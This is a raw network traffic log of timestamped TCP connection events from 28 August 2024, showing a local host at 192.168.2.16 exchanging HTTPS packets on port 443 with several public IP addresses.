Aug 28, 2024 13:52:52.153398991 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.153409958 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.153455973 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.153462887 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.153496981 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.153506041 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.153510094 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.153558016 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.153562069 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.153606892 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.153656006 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.153723955 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.153738022 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.184798002 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.184849024 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.184940100 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.185180902 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.185199022 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.189666986 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.189702034 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.189781904 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.189935923 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.189960003 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.190020084 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.190382957 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.190406084 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.190464020 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.190601110 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.190612078 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.190735102 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.190746069 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.190975904 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.190990925 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.271043062 CEST	443	49747	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:52.271218061 CEST	49747	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:52.273245096 CEST	49747	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:52.273279905 CEST	443	49747	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:52.273525953 CEST	443	49747	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:52.274775982 CEST	49747	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:52.274841070 CEST	443	49747	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:52.274931908 CEST	49747	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:52.338915110 CEST	49753	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:52.339015961 CEST	443	49753	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:52.339128017 CEST	49753	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:52.339296103 CEST	49753	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:52.339329004 CEST	443	49753	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:52.509170055 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:52.509210110 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:52.509279966 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:52.509619951 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:52.509633064 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:52.646003008 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.646333933 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.646348000 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.647311926 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.647416115 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.647664070 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.647825003 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.647854090 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.648866892 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.648960114 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.651248932 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.651310921 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.651468039 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.651475906 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.652569056 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.652621984 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.652677059 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.652684927 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.672082901 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.672333002 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.672365904 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.673233986 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.673412085 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.673907995 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.674150944 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.674163103 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.674374104 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.674458981 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.674547911 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.674561977 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.675143957 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.675203085 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.675843000 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.675890923 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.675967932 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.675973892 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.695235014 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.695239067 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.727288961 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.727288961 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.747129917 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.748123884 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.748162031 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.748188972 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.748308897 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.748311996 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.748311996 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.748322010 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.748370886 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.748857975 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.748907089 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.748955965 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.748958111 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.748966932 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.749007940 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.749661922 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.764121056 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.764178038 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.764183044 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.783075094 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.783112049 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.783139944 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.783174038 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.783190012 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.783200026 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.783242941 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.783246040 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.783256054 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.783307076 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.783314943 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.783329964 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.783360004 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.789918900 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.789978981 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.789987087 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.801970959 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.802028894 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.802064896 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.802081108 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.802093029 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.802160978 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.802184105 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.802774906 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.802809000 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.802819967 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.802824020 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.802860975 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.802870035 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.803683043 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.803734064 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.803738117 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.807188988 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.808123112 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.808178902 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.808182955 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.812171936 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.812216997 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.812248945 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.812273026 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.812282085 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.812294006 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.812330961 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.812346935 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.812386990 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.812412977 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.812421083 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.812467098 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.812474012 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.812645912 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.812690020 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.812697887 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.835428953 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.835520983 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.835551977 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.835568905 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.835577965 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.835608959 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.835616112 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.835621119 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.835658073 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.835669041 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.835674047 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.835724115 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.836782932 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.836843967 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.836889982 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.836898088 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.836908102 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.836935043 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.836946964 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.836951017 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.837001085 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.837004900 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.837871075 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.837897062 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.837924004 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.837929010 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.837975025 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.837980032 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.838428974 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.838468075 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.838483095 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.838489056 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.838543892 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.839230061 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.839236975 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.855201006 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.855202913 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.855211973 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.871066093 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.871108055 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.871140003 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.871232033 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.871232033 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.871243000 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.871917009 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.871958017 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.871979952 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.871984959 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.871997118 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.872035980 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.872257948 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.872298002 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.872308969 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.872313976 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.872344971 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.872360945 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.872370958 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.872410059 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.873461962 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.873601913 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.873631001 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.873645067 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.873652935 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.873688936 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.874411106 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.874456882 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.874500036 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.874507904 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.874572039 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.874614000 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.874619961 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.877652884 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.877715111 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.877722025 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.890872002 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.892344952 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.893228054 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.893274069 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.893312931 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.893351078 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.893378019 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.893385887 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.893404961 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.893441916 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.893445015 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.894445896 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.894479990 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.894499063 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.894503117 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.894545078 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.894557953 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.894982100 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.895020008 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.895031929 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.895041943 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.895098925 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.895102024 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.895694971 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.895749092 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.895752907 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.896157980 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.896199942 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.896209002 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.896212101 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.896251917 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.896711111 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.901309967 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.901350021 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.901375055 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.901381016 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.901412964 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.901439905 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.901485920 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.901535034 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.901781082 CEST	49752	443	192.168.2.16	104.17.24.14
Aug 28, 2024 13:52:52.901799917 CEST	443	49752	104.17.24.14	192.168.2.16
Aug 28, 2024 13:52:52.913803101 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:52.913836002 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:52.913918018 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:52.914119959 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:52.914134979 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:52.918210030 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.922663927 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.922672987 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.922759056 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.922775030 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.922785997 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.922842026 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.923434973 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.923502922 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.923505068 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.923546076 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.923640013 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.923648119 CEST	443	49750	151.101.130.137	192.168.2.16
Aug 28, 2024 13:52:52.923657894 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.923698902 CEST	49750	443	192.168.2.16	151.101.130.137
Aug 28, 2024 13:52:52.937501907 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:52.937532902 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:52.937616110 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:52.937869072 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:52.937881947 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:52.950233936 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.950249910 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.957250118 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.957341909 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.957406044 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.957684994 CEST	49748	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.957707882 CEST	443	49748	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.974116087 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:52.974147081 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:52.974220991 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:52.974570036 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:52.974581003 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:52.984525919 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.984575033 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.984613895 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.984668970 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.984680891 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.984740019 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.984744072 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.984781981 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.984791994 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.984833956 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.985260010 CEST	49749	443	192.168.2.16	104.18.11.207
Aug 28, 2024 13:52:52.985274076 CEST	443	49749	104.18.11.207	192.168.2.16
Aug 28, 2024 13:52:52.999579906 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:52.999609947 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:52.999689102 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:52.999890089 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:52.999902010 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.142004013 CEST	443	49753	40.126.32.74	192.168.2.16
